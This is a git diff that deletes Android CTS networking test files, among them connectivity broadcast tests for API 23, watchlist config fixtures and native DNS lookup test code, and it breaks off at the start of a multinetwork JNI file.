--- a/tests/tests/net/TEST_MAPPING
+++ /dev/null
@@ -1,23 +0,0 @@
-{
-  // TODO: move to mainline-presubmit once supported
-  "presubmit": [
-    {
-      "name": "CtsNetTestCasesLatestSdk",
-      "options": [
-        {
-          "exclude-annotation": "com.android.testutils.SkipPresubmit"
-        }
-      ]
-    }
-  ],
-  "mainline-presubmit": [
-    {
-      "name": "CtsNetTestCasesLatestSdk[CaptivePortalLoginGoogle.apk+NetworkStackGoogle.apk]",
-      "options": [
-        {
-          "exclude-annotation": "com.android.testutils.SkipPresubmit"
-        }
-      ]
-    }
-  ]
-}
diff --git a/tests/tests/net/api23Test/Android.bp b/tests/tests/net/api23Test/Android.bp
deleted file mode 100644
index e43a5e8..0000000
--- a/tests/tests/net/api23Test/Android.bp
+++ /dev/null
@@ -1,51 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
-    name: "CtsNetApi23TestCases",
-    defaults: ["cts_defaults"],
-
-    // Include both the 32 and 64 bit versions
-    compile_multilib: "both",
-
-    libs: [
-        "android.test.base",
-    ],
-
-    srcs: [
-        "src/**/*.java",
-        "src/**/*.kt",
-    ],
-
-    static_libs: [
-        "core-tests-support",
-        "compatibility-device-util-axt",
-        "cts-net-utils",
-        "ctstestrunner-axt",
-        "ctstestserver",
-        "mockwebserver",
-        "junit",
-        "junit-params",
-        "truth-prebuilt",
-    ],
-
-    platform_apis: true,
-
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-
-}
diff --git a/tests/tests/net/api23Test/AndroidManifest.xml b/tests/tests/net/api23Test/AndroidManifest.xml
deleted file mode 100644
index 4889660..0000000
--- a/tests/tests/net/api23Test/AndroidManifest.xml
+++ /dev/null
@@ -1,45 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.net.cts.api23test">
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <application android:usesCleartextTraffic="true">
-        <uses-library android:name="android.test.runner" />
-
-        <receiver android:name=".ConnectivityReceiver">
-            <intent-filter>
-                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
-            </intent-filter>
-        </receiver>
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.net.cts.api23test"
-                     android:label="CTS tests of android.net">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-</manifest>
-
diff --git a/tests/tests/net/api23Test/AndroidTest.xml b/tests/tests/net/api23Test/AndroidTest.xml
deleted file mode 100644
index 8042d50..0000000
--- a/tests/tests/net/api23Test/AndroidTest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Net API23 test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsNetApi23TestCases.apk" />
-        <option name="test-file-name" value="CtsNetTestAppForApi23.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.net.cts.api23test" />
-        <option name="hidden-api-checks" value="false" />
-    </test>
-</configuration>
diff --git a/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java
deleted file mode 100644
index cdb66e3..0000000
--- a/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityManagerApi23Test.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts.api23test;
-
-import static android.content.pm.PackageManager.FEATURE_WIFI;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.cts.util.CtsNetUtils;
-import android.os.Looper;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class ConnectivityManagerApi23Test extends AndroidTestCase {
-    private static final String TAG = ConnectivityManagerApi23Test.class.getSimpleName();
-    private static final int SEND_BROADCAST_TIMEOUT = 30000;
-    // Intent string to get the number of wifi CONNECTIVITY_ACTION callbacks the test app has seen
-    public static final String GET_WIFI_CONNECTIVITY_ACTION_COUNT =
-            "android.net.cts.appForApi23.getWifiConnectivityActionCount";
-    // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
-
-    private Context mContext;
-    private PackageManager mPackageManager;
-    private CtsNetUtils mCtsNetUtils;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        Looper.prepare();
-        mContext = getContext();
-        mPackageManager = mContext.getPackageManager();
-        mCtsNetUtils = new CtsNetUtils(mContext);
-    }
-
-    /**
-     * Tests reporting of connectivity changed.
-     */
-    public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        ConnectivityReceiver.prepare();
-
-        mCtsNetUtils.toggleWifi();
-
-        // The connectivity broadcast has been sent; push through a terminal broadcast
-        // to wait for in the receive to confirm it didn't see the connectivity change.
-        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
-        finalIntent.setClass(mContext, ConnectivityReceiver.class);
-        mContext.sendBroadcast(finalIntent);
-        assertFalse(ConnectivityReceiver.waitForBroadcast());
-    }
-
-    public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
-            throws InterruptedException {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot"
-                    + "execute unless device supports WiFi");
-            return;
-        }
-        mContext.startActivity(new Intent()
-                .setComponent(new ComponentName("android.net.cts.appForApi23",
-                        "android.net.cts.appForApi23.ConnectivityListeningActivity"))
-                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
-        Thread.sleep(200);
-
-        mCtsNetUtils.toggleWifi();
-
-        Intent getConnectivityCount = new Intent(GET_WIFI_CONNECTIVITY_ACTION_COUNT);
-        assertEquals(2, sendOrderedBroadcastAndReturnResultCode(
-                getConnectivityCount, SEND_BROADCAST_TIMEOUT));
-    }
-
-    public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        ConnectivityReceiver.prepare();
-        ConnectivityReceiver receiver = new ConnectivityReceiver();
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        mCtsNetUtils.toggleWifi();
-        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
-        finalIntent.setClass(mContext, ConnectivityReceiver.class);
-        mContext.sendBroadcast(finalIntent);
-
-        assertTrue(ConnectivityReceiver.waitForBroadcast());
-    }
-
-    private int sendOrderedBroadcastAndReturnResultCode(
-            Intent intent, int timeoutMs) throws InterruptedException {
-        final LinkedBlockingQueue<Integer> result = new LinkedBlockingQueue<>(1);
-        mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                result.offer(getResultCode());
-            }
-        }, null, 0, null, null);
-
-        Integer resultCode = result.poll(timeoutMs, TimeUnit.MILLISECONDS);
-        assertNotNull("Timed out (more than " + timeoutMs +
-                " milliseconds) waiting for result code for broadcast", resultCode);
-        return resultCode;
-    }
-
-}
\ No newline at end of file
diff --git a/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java b/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
deleted file mode 100644
index 9d2b8ad..0000000
--- a/tests/tests/net/api23Test/src/android/net/cts/api23test/ConnectivityReceiver.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts.api23test;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.net.ConnectivityManager;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class ConnectivityReceiver extends BroadcastReceiver {
-    static boolean sReceivedConnectivity;
-    static boolean sReceivedFinal;
-    static CountDownLatch sLatch;
-
-    static void prepare() {
-        synchronized (ConnectivityReceiver.class) {
-            sReceivedConnectivity = sReceivedFinal = false;
-            sLatch = new CountDownLatch(1);
-        }
-    }
-
-    static boolean waitForBroadcast() {
-        try {
-            sLatch.await(30, TimeUnit.SECONDS);
-        } catch (InterruptedException e) {
-            throw new IllegalStateException(e);
-        }
-        synchronized (ConnectivityReceiver.class) {
-            sLatch = null;
-            if (!sReceivedFinal) {
-                throw new IllegalStateException("Never received final broadcast");
-            }
-            return sReceivedConnectivity;
-        }
-    }
-
-    static final String FINAL_ACTION = "android.net.cts.action.FINAL";
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        Log.i("ConnectivityReceiver", "Received: " + intent.getAction());
-        if (ConnectivityManager.CONNECTIVITY_ACTION.equals(intent.getAction())) {
-            sReceivedConnectivity = true;
-        } else if (FINAL_ACTION.equals(intent.getAction())) {
-            sReceivedFinal = true;
-            if (sLatch != null) {
-                sLatch.countDown();
-            }
-        }
-    }
-}
diff --git a/tests/tests/net/appForApi23/Android.bp b/tests/tests/net/appForApi23/Android.bp
deleted file mode 100644
index cec6d7f..0000000
--- a/tests/tests/net/appForApi23/Android.bp
+++ /dev/null
@@ -1,32 +0,0 @@
-// Copyright (C) 2016 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test {
-    name: "CtsNetTestAppForApi23",
-    defaults: ["cts_defaults"],
-
-    // Include both the 32 and 64 bit versions
-    compile_multilib: "both",
-
-    srcs: ["src/**/*.java"],
-
-    sdk_version: "23",
-
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-
-}
diff --git a/tests/tests/net/appForApi23/AndroidManifest.xml b/tests/tests/net/appForApi23/AndroidManifest.xml
deleted file mode 100644
index ed4cedb..0000000
--- a/tests/tests/net/appForApi23/AndroidManifest.xml
+++ /dev/null
@@ -1,47 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.net.cts.appForApi23">
-
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <application>
-        <receiver android:name=".ConnectivityReceiver">
-            <intent-filter>
-                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
-            </intent-filter>
-            <intent-filter>
-                <action android:name="android.net.cts.appForApi23.getWifiConnectivityActionCount" />
-            </intent-filter>
-        </receiver>
-
-        <activity android:name=".ConnectivityListeningActivity"
-                  android:label="ConnectivityListeningActivity"
-                  android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-
-    </application>
-
-</manifest>
-
diff --git a/tests/tests/net/appForApi23/src/android/net/cts/appForApi23/ConnectivityListeningActivity.java b/tests/tests/net/appForApi23/src/android/net/cts/appForApi23/ConnectivityListeningActivity.java
deleted file mode 100644
index 24fb68e8..0000000
--- a/tests/tests/net/appForApi23/src/android/net/cts/appForApi23/ConnectivityListeningActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.cts.appForApi23;
-
-import android.app.Activity;
-
-// Stub activity used to start the app
-public class ConnectivityListeningActivity extends Activity {
-}
\ No newline at end of file
diff --git a/tests/tests/net/appForApi23/src/android/net/cts/appForApi23/ConnectivityReceiver.java b/tests/tests/net/appForApi23/src/android/net/cts/appForApi23/ConnectivityReceiver.java
deleted file mode 100644
index 8039a4f..0000000
--- a/tests/tests/net/appForApi23/src/android/net/cts/appForApi23/ConnectivityReceiver.java
+++ /dev/null
@@ -1,41 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.net.cts.appForApi23;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.net.ConnectivityManager;
-
-public class ConnectivityReceiver extends BroadcastReceiver {
-    public static String GET_WIFI_CONNECTIVITY_ACTION_COUNT =
-            "android.net.cts.appForApi23.getWifiConnectivityActionCount";
-
-    private static int sWifiConnectivityActionCount = 0;
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        if (ConnectivityManager.CONNECTIVITY_ACTION.equals(intent.getAction())) {
-            int networkType = intent.getIntExtra(ConnectivityManager.EXTRA_NETWORK_TYPE, 0);
-            if (networkType == ConnectivityManager.TYPE_WIFI) {
-                sWifiConnectivityActionCount++;
-            }
-        }
-        if (GET_WIFI_CONNECTIVITY_ACTION_COUNT.equals(intent.getAction())) {
-            setResultCode(sWifiConnectivityActionCount);
-        }
-    }
-}
diff --git a/tests/tests/net/assets/network_watchlist_config_empty_for_test.xml b/tests/tests/net/assets/network_watchlist_config_empty_for_test.xml
deleted file mode 100644
index 19628d1..0000000
--- a/tests/tests/net/assets/network_watchlist_config_empty_for_test.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-/*
-** Copyright (C) 2018 The Android Open Source Project
-**
-** Licensed under the Apache License, Version 2.0 (the "License");
-** you may not use this file except in compliance with the License.
-** You may obtain a copy of the License at
-**
-**     http://www.apache.org/licenses/LICENSE-2.0
-**
-** Unless required by applicable law or agreed to in writing, software
-** distributed under the License is distributed on an "AS IS" BASIS,
-** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-** See the License for the specific language governing permissions and
-** limitations under the License.
-*/
--->
-<!-- This test config file is for NetworkWatchlistTest tests -->
-<watchlist-config>
-    <sha256-domain>
-    </sha256-domain>
-    <sha256-ip>
-    </sha256-ip>
-    <crc32-domain>
-    </crc32-domain>
-    <crc32-ip>
-    </crc32-ip>
-</watchlist-config>
diff --git a/tests/tests/net/assets/network_watchlist_config_for_test.xml b/tests/tests/net/assets/network_watchlist_config_for_test.xml
deleted file mode 100644
index 835ae0f..0000000
--- a/tests/tests/net/assets/network_watchlist_config_for_test.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-/*
-** Copyright (C) 2018 The Android Open Source Project
-**
-** Licensed under the Apache License, Version 2.0 (the "License");
-** you may not use this file except in compliance with the License.
-** You may obtain a copy of the License at
-**
-**     http://www.apache.org/licenses/LICENSE-2.0
-**
-** Unless required by applicable law or agreed to in writing, software
-** distributed under the License is distributed on an "AS IS" BASIS,
-** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-** See the License for the specific language governing permissions and
-** limitations under the License.
-*/
--->
-<!-- This test config file just contains some random hashes for testing
-ConnectivityManager.getWatchlistConfigHash() -->
-<watchlist-config>
-    <sha256-domain>
-        <hash>F0905DA7549614957B449034C281EF7BDEFDBC2B6E050AD1E78D6DE18FBD0D5F</hash>
-    </sha256-domain>
-    <sha256-ip>
-        <hash>18DD41C9F2E8E4879A1575FB780514EF33CF6E1F66578C4AE7CCA31F49B9F2EC</hash>
-    </sha256-ip>
-    <crc32-domain>
-        <hash>AAAAAAAA</hash>
-    </crc32-domain>
-    <crc32-ip>
-        <hash>BBBBBBBB</hash>
-    </crc32-ip>
-</watchlist-config>
diff --git a/tests/tests/net/jarjar-rules-shared.txt b/tests/tests/net/jarjar-rules-shared.txt
deleted file mode 100644
index 11dba74..0000000
--- a/tests/tests/net/jarjar-rules-shared.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-# Module library in frameworks/libs/net
-rule com.android.net.module.util.** android.net.cts.util.@1
\ No newline at end of file
diff --git a/tests/tests/net/jni/Android.bp b/tests/tests/net/jni/Android.bp
deleted file mode 100644
index 3953aeb..0000000
--- a/tests/tests/net/jni/Android.bp
+++ /dev/null
@@ -1,51 +0,0 @@
-// Copyright (C) 2013 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_library_shared {
-    name: "libnativedns_jni",
-
-    srcs: ["NativeDnsJni.c"],
-    sdk_version: "current",
-
-    shared_libs: [
-        "libnativehelper_compat_libc++",
-        "liblog",
-    ],
-    stl: "libc++_static",
-
-    cflags: [
-        "-Wall",
-        "-Werror",
-        "-Wno-unused-parameter",
-    ],
-
-}
-
-cc_library_shared {
-    name: "libnativemultinetwork_jni",
-
-    srcs: ["NativeMultinetworkJni.cpp"],
-    sdk_version: "current",
-    cflags: [
-        "-Wall",
-        "-Werror",
-        "-Wno-format",
-    ],
-    shared_libs: [
-        "libandroid",
-        "libnativehelper_compat_libc++",
-        "liblog",
-    ],
-    stl: "libc++_static",
-}
diff --git a/tests/tests/net/jni/NativeDnsJni.c b/tests/tests/net/jni/NativeDnsJni.c
deleted file mode 100644
index 4ec800e..0000000
--- a/tests/tests/net/jni/NativeDnsJni.c
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <arpa/inet.h>
-#include <jni.h>
-#include <netdb.h>
-#include <stdio.h>
-#include <string.h>
-
-#include <android/log.h>
-
-#define LOG_TAG "NativeDns-JNI"
-#define LOGD(fmt, ...) \
-        __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, fmt, ##__VA_ARGS__)
-
-const char *GoogleDNSIpV4Address="8.8.8.8";
-const char *GoogleDNSIpV4Address2="8.8.4.4";
-const char *GoogleDNSIpV6Address="2001:4860:4860::8888";
-const char *GoogleDNSIpV6Address2="2001:4860:4860::8844";
-
-JNIEXPORT jboolean Java_android_net_cts_DnsTest_testNativeDns(JNIEnv* env, jclass class)
-{
-    const char *node = "www.google.com";
-    char *service = NULL;
-    struct addrinfo *answer;
-
-    int res = getaddrinfo(node, service, NULL, &answer);
-    LOGD("getaddrinfo(www.google.com) gave res=%d (%s)", res, gai_strerror(res));
-    if (res != 0) return JNI_FALSE;
-
-    // check for v4 & v6
-    {
-        int foundv4 = 0;
-        int foundv6 = 0;
-        struct addrinfo *current = answer;
-        while (current != NULL) {
-            char buf[256];
-            if (current->ai_addr->sa_family == AF_INET) {
-                inet_ntop(current->ai_family, &((struct sockaddr_in *)current->ai_addr)->sin_addr,
-                        buf, sizeof(buf));
-                foundv4 = 1;
-                LOGD("  %s", buf);
-            } else if (current->ai_addr->sa_family == AF_INET6) {
-                inet_ntop(current->ai_family, &((struct sockaddr_in6 *)current->ai_addr)->sin6_addr,
-                        buf, sizeof(buf));
-                foundv6 = 1;
-                LOGD("  %s", buf);
-            }
-            current = current->ai_next;
-        }
-
-        freeaddrinfo(answer);
-        answer = NULL;
-        if (foundv4 != 1 && foundv6 != 1) {
-            LOGD("getaddrinfo(www.google.com) didn't find either v4 or v6 address");
-            return JNI_FALSE;
-        }
-    }
-
-    node = "ipv6.google.com";
-    res = getaddrinfo(node, service, NULL, &answer);
-    LOGD("getaddrinfo(ipv6.google.com) gave res=%d", res);
-    if (res != 0) return JNI_FALSE;
-
-    {
-        int foundv4 = 0;
-        int foundv6 = 0;
-        struct addrinfo *current = answer;
-        while (current != NULL) {
-            char buf[256];
-            if (current->ai_addr->sa_family == AF_INET) {
-                inet_ntop(current->ai_family, &((struct sockaddr_in *)current->ai_addr)->sin_addr,
-                        buf, sizeof(buf));
-                LOGD("  %s", buf);
-                foundv4 = 1;
-            } else if (current->ai_addr->sa_family == AF_INET6) {
-                inet_ntop(current->ai_family, &((struct sockaddr_in6 *)current->ai_addr)->sin6_addr,
-                        buf, sizeof(buf));
-                LOGD("  %s", buf);
-                foundv6 = 1;
-            }
-            current = current->ai_next;
-        }
-
-        freeaddrinfo(answer);
-        answer = NULL;
-        if (foundv4 == 1 || foundv6 != 1) {
-            LOGD("getaddrinfo(ipv6.google.com) didn't find only v6");
-            return JNI_FALSE;
-        }
-    }
-
-    // getnameinfo
-    struct sockaddr_in sa4;
-    sa4.sin_family = AF_INET;
-    sa4.sin_port = 0;
-    inet_pton(AF_INET, GoogleDNSIpV4Address, &(sa4.sin_addr));
-
-    struct sockaddr_in6 sa6;
-    sa6.sin6_family = AF_INET6;
-    sa6.sin6_port = 0;
-    sa6.sin6_flowinfo = 0;
-    sa6.sin6_scope_id = 0;
-    inet_pton(AF_INET6, GoogleDNSIpV6Address2, &(sa6.sin6_addr));
-
-    char buf[NI_MAXHOST];
-    int flags = NI_NAMEREQD;
-
-    res = getnameinfo((const struct sockaddr*)&sa4, sizeof(sa4), buf, sizeof(buf), NULL, 0, flags);
-    if (res != 0) {
-        LOGD("getnameinfo(%s (GoogleDNS) ) gave error %d (%s)", GoogleDNSIpV4Address, res,
-            gai_strerror(res));
-        return JNI_FALSE;
-    }
-    if (strstr(buf, "google.com") == NULL && strstr(buf, "dns.google") == NULL) {
-        LOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com or dns.google: %s",
-            GoogleDNSIpV4Address, buf);
-        return JNI_FALSE;
-    }
-
-    memset(buf, 0, sizeof(buf));
-    res = getnameinfo((const struct sockaddr*)&sa6, sizeof(sa6), buf, sizeof(buf), NULL, 0, flags);
-    if (res != 0) {
-        LOGD("getnameinfo(%s (GoogleDNS) ) gave error %d (%s)", GoogleDNSIpV6Address2,
-            res, gai_strerror(res));
-        return JNI_FALSE;
-    }
-    if (strstr(buf, "google.com") == NULL && strstr(buf, "dns.google") == NULL) {
-        LOGD("getnameinfo(%s (GoogleDNS) ) didn't return google.com or dns.google: %s",
-            GoogleDNSIpV6Address2, buf);
-        return JNI_FALSE;
-    }
-
-    // gethostbyname
-    struct hostent *my_hostent = gethostbyname("www.youtube.com");
-    if (my_hostent == NULL) {
-        LOGD("gethostbyname(www.youtube.com) gave null response");
-        return JNI_FALSE;
-    }
-    if ((my_hostent->h_addr_list == NULL) || (*my_hostent->h_addr_list == NULL)) {
-        LOGD("gethostbyname(www.youtube.com) gave 0 addresses");
-        return JNI_FALSE;
-    }
-    {
-        char **current = my_hostent->h_addr_list;
-        while (*current != NULL) {
-            char buf[256];
-            inet_ntop(my_hostent->h_addrtype, *current, buf, sizeof(buf));
-            LOGD("gethostbyname(www.youtube.com) gave %s", buf);
-            current++;
-        }
-    }
-
-    // gethostbyaddr
-    char addr6[16];
-    inet_pton(AF_INET6, GoogleDNSIpV6Address, addr6);
-    my_hostent = gethostbyaddr(addr6, sizeof(addr6), AF_INET6);
-    if (my_hostent == NULL) {
-        LOGD("gethostbyaddr(%s (GoogleDNS) ) gave null response", GoogleDNSIpV6Address);
-        return JNI_FALSE;
-    }
-
-    LOGD("gethostbyaddr(%s (GoogleDNS) ) gave %s for name", GoogleDNSIpV6Address,
-        my_hostent->h_name ? my_hostent->h_name : "null");
-
-    if (my_hostent->h_name == NULL) return JNI_FALSE;
-    return JNI_TRUE;
-}
diff --git a/tests/tests/net/jni/NativeMultinetworkJni.cpp b/tests/tests/net/jni/NativeMultinetworkJni.cpp
deleted file mode 100644
index 60e31bc..0000000
--- a/tests/tests/net/jni/NativeMultinetworkJni.cpp
+++ /dev/null
@@ -1,515 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-#define LOG_TAG "MultinetworkApiTest"
-
-#include <arpa/inet.h>
-#include <arpa/nameser.h>
-#include <errno.h>
